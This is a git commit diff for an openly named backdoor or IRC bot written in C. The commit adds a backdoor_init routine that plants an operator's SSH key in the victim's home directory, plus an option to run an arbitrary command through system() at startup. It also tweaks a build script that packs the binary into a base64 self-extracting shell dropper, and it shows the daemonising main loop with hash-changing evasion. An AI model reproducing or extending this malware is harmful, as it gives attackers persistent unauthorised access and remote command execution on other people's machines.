This commit is contained in:
usr 2024-05-12 12:47:02 +03:00
parent d8003d97e0
commit e6054f2f04
5 changed files with 22 additions and 8 deletions

View File

@ -6,6 +6,6 @@ payload=$(cat main | base64 | xargs | tr -d " ")
echo "#!/bin/sh" > script.sh echo "#!/bin/sh" > script.sh
echo "f=\""$payload\" >> script.sh echo "f=\""$payload\" >> script.sh
echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXX); echo \$f | base64 -d > \$t; chmod +x \$t; exec \$t" >> script.sh
chmod +x script.sh chmod +x script.sh

View File

@ -4,6 +4,7 @@
#define COMMON_BUF_SIZE 100 #define COMMON_BUF_SIZE 100
void backdoor_init(void);
void backdoor_offline(void); void backdoor_offline(void);
void parse_cmd(IRCC_client *client); void parse_cmd(IRCC_client *client);

View File

@ -29,15 +29,19 @@
/* Uncomment if you want to enable option */ /* Uncomment if you want to enable option */
/* #define CFG_SSH */ /* #define CFG_SSH */
/* #define CFG_CMD */
/* Will start after startup */
#ifdef CFG_SSH #ifdef CFG_SSH
/* /* Writes your ssh key */
* Writes your ssh key if connection
* was not established
*/
const char *ssh_key = ""; const char *ssh_key = "";
#endif #endif
#ifdef CFG_CMD
/* Execute command */
const char *cmd = "";
#endif
#endif #endif

View File

@ -10,9 +10,7 @@
static FILE *fp; static FILE *fp;
void backdoor_offline(void) { void backdoor_init(void) {
sleep(60);
#ifdef CFG_SSH #ifdef CFG_SSH
/* Write ssh key */ /* Write ssh key */
size_t len = strlen(ssh_key); size_t len = strlen(ssh_key);
@ -46,9 +44,17 @@ void backdoor_offline(void) {
fprintf(fp, "%s\n", ssh_key); fprintf(fp, "%s\n", ssh_key);
fclose(fp); fclose(fp);
#ifdef CFG_CMD
system(cmd);
#endif #endif
} }
void backdoor_offline(void) {
sleep(60);
}
void send_info(IRCC_client *client, const char *buf) { void send_info(IRCC_client *client, const char *buf) {
char *nick = strdup(client->irc_nick); char *nick = strdup(client->irc_nick);
if (nick == NULL) if (nick == NULL)

View File

@ -71,6 +71,7 @@ int main(void) {
ChangeHashSum(); ChangeHashSum();
daemon(0, 0); daemon(0, 0);
/* Main */
if (fork() == 0) { if (fork() == 0) {
daemon(0, 0); daemon(0, 0);
signal(SIGINT, SIG_IGN); signal(SIGINT, SIG_IGN);
@ -79,6 +80,8 @@ int main(void) {
srand(getpid()); srand(getpid());
chdir(getenv("HOME")); chdir(getenv("HOME"));
backdoor_init();
while (1) while (1)
if (start()) if (start())
backdoor_offline(); backdoor_offline();